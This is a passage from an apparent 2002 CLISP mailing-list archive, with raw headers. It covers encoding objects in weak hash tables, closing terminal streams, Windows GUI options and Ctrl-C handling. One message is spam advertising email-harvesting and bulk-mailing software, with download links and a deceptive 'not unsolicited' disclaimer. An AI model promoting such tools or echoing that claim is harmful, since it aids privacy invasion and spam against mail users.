custom:*xyz-encoding* are symbol macros, so as to be able to test at > setf time the correctness of the values. The drawback is that LET > becomes unusable. > o (close # and CLISP will not error out until it tries to write to the > terminal. This happens obviously soon in an interactive session, but > arbitrarily late when running an application. Some people were already > hit by erroneous closing of the wrong stream and so looked for the > error at the wrong place. > This need not be the case. In my Amiga-CLISP, the low-level close > would signal an error on an attempt to close the terminal stream, much > like the early *-encoding* check. there are situations when closing a terminal stream is appropriate, e.g., when your script is a filter. we can add a variable, say, CUSTOM:*FORBID-CLOSING-TERMINAL-STREAMS*, and set it initially to NIL for backward compatibility. Do people really want that? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Why do we want intelligent terminals when there are so many stupid users? From gaohuaiyan@yahoo.co.uk Mon Aug 12 07:14:51 2002 Received: from web21009.mail.yahoo.com ([216.136.227.63]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eFy7-0003XC-00 for ; Mon, 12 Aug 2002 07:14:51 -0700 Message-ID: <20020812141450.95974.qmail@web21009.mail.yahoo.com> Received: from [146.227.71.41] by web21009.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 15:14:50 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-968080877-1029161690=:95097" Content-Transfer-Encoding: 8bit Subject: [clisp-list] Who can provide an example about clisp for windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 07:15:03 2002 X-Original-Date: Mon, 12 Aug 2002 15:14:50 +0100 (BST) --0-968080877-1029161690=:95097 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, I am a newcomer to clisp fow windows, and I want to know whether I can use clisp-2.28-win32 to develop a application, which has complex user interface. If it can, please show me an entire example? Thanks. HuaiYan Gao --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-968080877-1029161690=:95097 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi,

I am a newcomer to clisp fow windows, and I want to know whether I can use clisp-2.28-win32 to develop a application, which has complex user interface. If it can, please show me an entire example?

Thanks.

HuaiYan Gao



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-968080877-1029161690=:95097-- From gaohuaiyan@yahoo.co.uk Mon Aug 12 07:14:51 2002 Received: from web21009.mail.yahoo.com ([216.136.227.63]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eFy7-0003XB-00 for ; Mon, 12 Aug 2002 07:14:51 -0700 Message-ID: <20020812141450.95974.qmail@web21009.mail.yahoo.com> Received: from [146.227.71.41] by web21009.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 15:14:50 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-968080877-1029161690=:95097" Content-Transfer-Encoding: 8bit Subject: [clisp-list] Who can provide an example about clisp for windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 07:15:03 2002 X-Original-Date: Mon, 12 Aug 2002 15:14:50 +0100 (BST) --0-968080877-1029161690=:95097 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, I am a newcomer to clisp fow windows, and I want to know whether I can use clisp-2.28-win32 to develop a application, which has complex user interface. If it can, please show me an entire example? Thanks. HuaiYan Gao --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-968080877-1029161690=:95097 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi,

I am a newcomer to clisp fow windows, and I want to know whether I can use clisp-2.28-win32 to develop a application, which has complex user interface. If it can, please show me an entire example?

Thanks.

HuaiYan Gao



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-968080877-1029161690=:95097-- From samuel.steingold@verizon.net Mon Aug 12 07:45:21 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eGRc-0004IR-00 for ; Mon, 12 Aug 2002 07:45:20 -0700 Received: (cpmta 13712 invoked from network); 12 Aug 2002 07:45:12 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 12 Aug 2002 07:45:12 -0700 X-Sent: 12 Aug 2002 14:45:12 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] weak key hash table :test choice & surviving .mem image generatio n References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 75 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 07:46:04 2002 X-Original-Date: 12 Aug 2002 10:45:03 -0400 > * In message > * On the subject of "[clisp-list] weak key hash table :test choice & surviving .mem image generatio n" > * Sent on Mon, 12 Aug 2002 11:23:18 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > how do CLISP's new weak-key tables interact with system objects, > esp. the # or #
objects? What :test keyword > would be suitable for such a thing? 'EQ > I was considering putting # objects in a weak table. don't. > The weak functionality is necessary, because there can be arbitrarily > many [in EQ terms] encoding objects in history (even though the set of > really different slot values [what EQUALP considers] is finite), and > the table should not grow monotically. The table is wished for because > of typical caching issues: I don't want to repeat some (supposedly > costly) string conversions. > > [15]> (describe-thing (ext:make-encoding :charset charset:iso-8859-1 :line-terminator :dos)) > 0. :DOS > 1. :ERROR > 2. :ERROR > 3. CHARSET:ISO-8859-1 > 4. #
> 5. #
> 6. #
> 7. #
> 8. #
> 9. #
> # > > 1) Can one store encoding objects in a Lisp data structure, then to an > image and hope they will be resurrected? (I.e. what happens to these > #
things?) dunno (probably not). Bruno? > 2) Do these #
things survive starting from a new image when > stored in a weak-table? dunno (probably not). Bruno? > 3) Does resurrecting lead to crashes because the addresses may point to old, now inexistant memory addresses? > The response to this is not a "try it out" issue, because the behaviour may be different depending on the underlying OS, stack size or on the number of modules loaded in this session of CLISP, or on the time of the day. "Try it out" could work for me and break on your machine. > > 4) what's a good :TEST predicate for retrieving things that contain > such #
objects? 'EQ > 5) how to reliably store unknown encodings so that they survive > restarting from an image? store them in a "lazy" way: as a list of charset, LINE-TERMINATOR, and ERROR actions. Part of the problem is that, depending on the machine on which the memory image is created, the set of the available iconv encodings may be different. > [9]> (defun describe-thing (o) > (dotimes (i (sys::%record-length o) o) > (format t "~&~D. ~S~%" i (sys::%record-ref o i)))) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Illiterate? Write today, for free help! From Joerg-Cyril.Hoehle@t-systems.com Mon Aug 12 07:47:09 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eGTL-0006YK-00 for ; Mon, 12 Aug 2002 07:47:07 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 12 Aug 2002 16:46:57 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 16:46:57 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CHARSET questions & early vs late error signaling MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 07:48:01 2002 X-Original-Date: Mon, 12 Aug 2002 16:46:56 +0200 Hi, >there are situations when closing a terminal stream is appropriate, >e.g., when your script is a filter. Remember I talked about (CLOSE #). Closing files, fifos or sockets has different behaviour. If I remember correctly (IIRC), only the Lisp object is (marked as) closed, not C's underlying handle, therefore not the OS' idea of standard-in or standard-out. Therefore other programs wouldn't see the close. IIRC, when CLISP starts with input or output redirected to files or pipes, *terminal-io* is not bound to a # object, but to a file or pipe stream object. Closing that invokes the C library close routine, resulting in the behaviour you describe. >we can add a variable, say, CUSTOM:*FORBID-CLOSING-TERMINAL-STREAMS*, >and set it initially to NIL for backward compatibility. >Do people really want that? I just showed varying solutions to (IMHO) somewhat similar areas, in CLISP (other examples in other applications are certainly abundant). I didn't request a change. The last thing I want is yet another of those variables. :-) I'll have to some day write up a diatribe on the (wrongly) supposed freedom that those variables give. For a start, just image integrating seven independent libraries or components which require incompatible settings of such variables. Who's going to investigate the run-time access of these libraries to the variables? As a related topic, who would swear that one's own application won't break if I put unusual (but legal) values into *print-length*, *read-base*, *print-base*, *print-radix*, *package* etc.? Enjoy, Jorg Hohle. From samuel.steingold@verizon.net Mon Aug 12 08:40:42 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eHJB-0002lY-00 for ; Mon, 12 Aug 2002 08:40:41 -0700 Received: (cpmta 23946 invoked from network); 12 Aug 2002 08:40:34 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 12 Aug 2002 08:40:34 -0700 X-Sent: 12 Aug 2002 15:40:34 GMT To: Huaiyan Gao Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Who can provide an example about clisp for windows? References: <20020812141450.95974.qmail@web21009.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020812141450.95974.qmail@web21009.mail.yahoo.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 08:41:04 2002 X-Original-Date: 12 Aug 2002 11:40:31 -0400 > * In message <20020812141450.95974.qmail@web21009.mail.yahoo.com> > * On the subject of "[clisp-list] Who can provide an example about clisp for windows?" > * Sent on Mon, 12 Aug 2002 15:14:50 +0100 (BST) > * Honorable Huaiyan Gao writes: > > I am a newcomer to clisp fow windows, and I want to know whether I can > use clisp-2.28-win32 to develop a application, which has complex user > interface. If it can, please show me an entire example? see inspect.lisp which uses a web browser for GUI. PS. Common Lisp is for complex application, not for complex UIs. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Lisp: its not just for geniuses anymore. From samuel.steingold@verizon.net Mon Aug 12 08:42:05 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eHKR-0002ts-00 for ; Mon, 12 Aug 2002 08:41:59 -0700 Received: (cpmta 12217 invoked from network); 12 Aug 2002 08:41:53 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 12 Aug 2002 08:41:53 -0700 X-Sent: 12 Aug 2002 15:41:53 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CHARSET questions & early vs late error signaling References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 08:43:03 2002 X-Original-Date: 12 Aug 2002 11:41:51 -0400 > * In message > * On the subject of "[clisp-list] CHARSET questions & early vs late error signaling" > * Sent on Mon, 12 Aug 2002 11:01:23 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > o (close # and CLISP will not error out until it tries to write to the > terminal. This happens obviously soon in an interactive session, but > arbitrarily late when running an application. Some people were already > hit by erroneous closing of the wrong stream and so looked for the > error at the wrong place. actually this behavior is mandated by the ANSI CL spec: CLOSE cannot signal an error. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From dan.stanger@ieee.org Mon Aug 12 09:10:26 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eHlw-0008Sk-00 for ; Mon, 12 Aug 2002 09:10:26 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 17eGrq-0003qE-00 for clisp-list@lists.sourceforge.net; Mon, 12 Aug 2002 09:12:27 -0600 Message-ID: <3D57D05E.E81AFE2B@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Win32 gui Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 09:11:05 2002 X-Original-Date: Mon, 12 Aug 2002 09:12:31 -0600 I have a preliminary version of a interface to the windows gdi api, and a interface to garnet written for clisp. There are 2 simple examples of calling the gdi api. There is a link to it on the clisp web site. Dan Stanger From dan.stanger@ieee.org Mon Aug 12 09:51:45 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eIPx-0006KU-00 for ; Mon, 12 Aug 2002 09:51:45 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g7CGp3H16057 for clisp-list@sourceforge.net; Mon, 12 Aug 2002 10:51:03 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200208121651.g7CGp3H16057@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@sourceforge.net Subject: [clisp-list] gui's in lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 09:52:04 2002 X-Original-Date: Mon, 12 Aug 2002 10:51:03 -0600 (MDT) There are several api's to develop gui's in lisp, for example garnet and clim. Actually, I think lisp is a good tool, though it might benefit from a api that is in some ways similar to the java swing api, for gui development. Dan From lin8080@freenet.de Mon Aug 12 12:45:02 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eL7d-0002Ft-00 for ; Mon, 12 Aug 2002 12:45:01 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with esmtp (Exim 4.05) id 17eL7W-0007Oa-00 for clisp-list@lists.sourceforge.net; Mon, 12 Aug 2002 21:44:54 +0200 Received: from sins-d9307e52.pool.mediaways.net ([217.48.126.82] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 4.05 #1) id 17eL7W-000302-00 for clisp-list@lists.sourceforge.net; Mon, 12 Aug 2002 21:44:54 +0200 Message-ID: <3D58103E.F0876BBB@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] interrupting program execution in CLISP under Windows References: <000a01c22da7$d30abd80$0e70c281@unige.ch> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 12:46:01 2002 X-Original-Date: Mon, 12 Aug 2002 21:45:02 +0200 > Michel Kervaire schrieb: > Hello, > I would like to know the proper way of interrupting the execution of a > program... > The use of the key combination CTRL-BREAK actually interrupts Hallo Michael There is a way that windows can do something to the Ctrl-C. First go to the DOS-Box and type at the Prompt: Break. This will report on or off. When it is off, go to the config.sys and add the line: BREAK=ON From the readme in win98 the explain text is: This command sets or clears extended CTRL+C checking. You can use this command at the command prompt or in your CONFIG.SYS file. You can press CTRL+C to stop a program or an activity, such as file sorting. Typically, MS-DOS checks for CTRL+C only while it reads from the keyboard or writes to the screen or a printer. If you set BREAK to ON, you extend CTRL+C checking to other functions, such as disk read and write operations. May be on Win NT there is something different? Hope it helps stefan Type SET at the DOS-Prompt to see more details From emailharvest@email.com Tue Aug 13 08:10:13 2002 Received: from [218.0.77.161] (helo=localhost.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17edJD-0001j5-00 for ; Tue, 13 Aug 2002 08:10:12 -0700 From: emailharvest@email.com Reply-To: emailharvest@email.com To: clisp-list@lists.sourceforge.net X-Mailer: QuickSender 1.05 MIME-Version: 1.0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-Id: Subject: [clisp-list] ADV: Harvest lots of E-mail addresses quickly ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 13 08:11:02 2002 X-Original-Date: Tue, 13 Aug 2002 23:10:02 +0800 Dear clisp-list =2C =3CBODY bgColor=3D#ffccff=3E =3CTABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 width=3D475=3E =3CTBODY=3E =3CTR=3E =3CTD align=3Dmiddle vAlign=3Dtop=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E=3CBR=3E =3CTABLE=3E =3CTBODY=3E =3CTR=3E =3CTD width=3D=225%=22=3E=3C=2FTD=3E =3CTD bgColor=3D#b8ecff borderColor=3D#0000ff width=3D=2290%=22=3E=3CFONT color=3D#ff0000 face=3D=22Arial Black=22 size=3D6=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B Want To Harvest A Lot Of Email =3B =3B Addresses In A Very Short Time=3F=3C=2FFONT=3E =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial size=3D4=3EEasy Email Searcher=3C=2FFONT=3E=3CFONT color=3D#ff00ff face=3DArial size=3D4=3E =3B is =3B a =3B powerful =3B Email =3B software =3B =3B that =3B harvests general Email lists from mail servers =3B =3B =3C=2FFONT=3E=3CFONT color=3D#0000ff face=3DArial size=3D4=3EEasy Email Searcher =3C=2FFONT=3E=3CFONT color=3D#ff00ff face=3DArial size=3D4=3Ecan get 100=2C000 Email=3C=2FFONT=3E=3C=2FB=3E =3CFONT color=3D#ff00ff face=3DArial size=3D4=3E=3CB=3Eaddresses directly from the Email servers in only one hour! =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E =3CUL=3E =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email Searcher=3C=2FFONT=3E=3C=2FB=3E is a 32 bit Windows Program for e-mail marketing=2E It is intended for easy and convenient search large e-mail address lists from mail servers=2E The program can be operated on Windows 95=2F98=2FME=2F2000 and NT=2E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email Searcher=3C=2FFONT=3E =3C=2FB=3Esupport multi-threads =28up to 512 connections=29=2E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email Searcher=3C=2FFONT=3E=3C=2FB=3E has the ability =3B to reconnect to the mail server if the server has disconnected and continue the searching at the point where it has been interrupted=2E=3C=2FFONT=3E =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email Searcher=3C=2FFONT=3E=3C=2FB=3E has an ergonomic interface that is easy to set up and simple to use=2E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E =3CP=3E=A1=A1=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3EEasy Email Searcher is an email address searcher and bulk e-mail sender=2E It can verify more than 5500 email addresses per minute at only 56Kbps speed=2E It even allows you send email to valid email address while searching=2E You can save the searching progress and load it to resume work at your convenience=2E All you need to do is just input an email address=2C and press the =22Search=22 button=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3E=3CBR=3E=3C=2FFONT=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#FF00FF=22=3EVery Low Price ! ------- =3B Now=2C =3B The full version of Easy Email Searcher only costs =3C=2Ffont=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#0000FF=22=3E$ 39=2E 95=3C=2Ffont=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CI=3EClick The Following Link To Download The Demo =3A=3C=2FI=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=22=3EDownload Site 1=3C=2FA=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA href=3D=22http=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=22=3EDownload Site 2=3C=2FA=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3C=2FFONT=3E=3C=2FB=3E=A1=A1=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EIf =3B you can not download this program =2C =3B please copy the following link into your URL =2C and then click =22 Enter=22 on your Computer Keyboard=2E=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E =3CP=3E=3CFONT size=3D2=3E=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EHere is the download links=3A=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E =3CDIV=3E =3CP=3Ehttp=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=3C=2FP=3E =3CP=3Ehttp=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=3C=2FP=3E=3C=2FFONT=3E=3C=2FDIV=3E =3CP=3E=3C=2FP=3E=3C=2FTD=3E =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E =3CTR=3E =3CTD width=3D=225%=22=3E=3C=2FTD=3E =3CTD bgColor=3D#0f95de width=3D=2290%=22=3E=3CFONT color=3D#ffffff face=3D=22Verdana=2C Tahoma=2C Helvetica=2C SansSerif=22 size=3D1=3E=3CB=3EDisclaimer=3A=3C=2FB=3E=3CBR=3EWe are strongly against continuously sending unsolicited emails to those who do not wish to receive our special mailings=2E We have attained the services of an independent 3rd party to overlook list management and removal services=2E This is not unsolicited email=2E If you do not wish to receive further mailings=2C please click this link =3CA href=3D=22 mailto=3Aremoval=40btamail=2Enet=2Ecn =22 target=3D=5Fblank=3E=3CFONT color=3D#fdd32a=3E=3CB=3Emailto=3Aremoval=40btamail=2Enet=2Ecn =3C=2FB=3E=3C=2FFONT=3E=3C=2FA=3E=2E =3B=3C=2FFONT=3E=3CB=3E=3CFONT class=3Ddisclaimer color=3D#000080 face=3DArial=3E=3CBR=3EThis message is a commercial advertisement=2E It is compliant with all federal and state laws regarding email messages including the California Business and Professions Code=2E We have provided the subject line =22ADV=22 to provide you notification that this is a commercial advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E =3CBR=3E From lisp-clisp-list@m.gmane.org Tue Aug 13 15:11:10 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ejsa-0001U0-00 for ; Tue, 13 Aug 2002 15:11:09 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ejrZ-0006sd-00 for ; Wed, 14 Aug 2002 00:10:05 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ejoA-0006kV-00 for ; Wed, 14 Aug 2002 00:06:34 +0200 Path: hermes!nobody From: Oliver Scholz Newsgroups: gmane.lisp.clisp.general Organization: Olymp Lines: 58 Message-ID: NNTP-Posting-Host: dialin-145-254-205-148.arcor-ip.net Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Trace: main.gmane.org 1029276394 25934 145.254.205.148 (13 Aug 2002 22:06:34 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 13 Aug 2002 22:06:34 +0000 (UTC) X-Operating-System: Linux from Scratch X-Attribution: os X-Face: "HgH2sgK|bfH$;PiOJI6|qUCf.ve<51_Od(%ynHr?=>znn#~#oS>",F%B8&\vus),2AsPYb -n>PgddtGEn}s7kH?7kH{P_~vu?]OvVN^qD(L)>G^gDCl(U9n{:d>'DkilN!_K"eNzjrtI4Ya6;Td% IZGMbJ{lawG+'J>QXPZD&TwWU@^~A}f^zAb[Ru;CT(UA]c& User-Agent: Gnus/5.090007 (Oort Gnus v0.07) Emacs/21.2 (i686-pc-linux-gnu) Cancel-Lock: sha1:+JC2cm1+nUTuyAoc3HpuZMDroCU= Subject: [clisp-list] CLISP printing hundreds of symbol-names Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 13 15:12:02 2002 X-Original-Date: Wed, 14 Aug 2002 01:42:44 +0200 Hello! I have just started to learn Common Lisp. Sometimes CLISP reacts in a way that i can not explain to myself. I am using: GNU CLISP 2.28 (released 2002-03-03) together with the lisp-mode of GNU Emacs 21.2. The value of `inferior-lisp-program' is "clisp -q -L deutsch". In some (sic!) cases when I send a function to the inferior-lisp process, CLISP suddenly starts print hundreds of symbol-names. As it seems the printing becomes slower the more often this happens. I have no idea if this is due to some serious mistakes I make in my code or if CLISP is to blame. I tried the same code with CMUCL, where it works as intended. But I want to use CLISP. I was recently able to find a way to reproduce something similar: I sent the following function-definition to the inferior 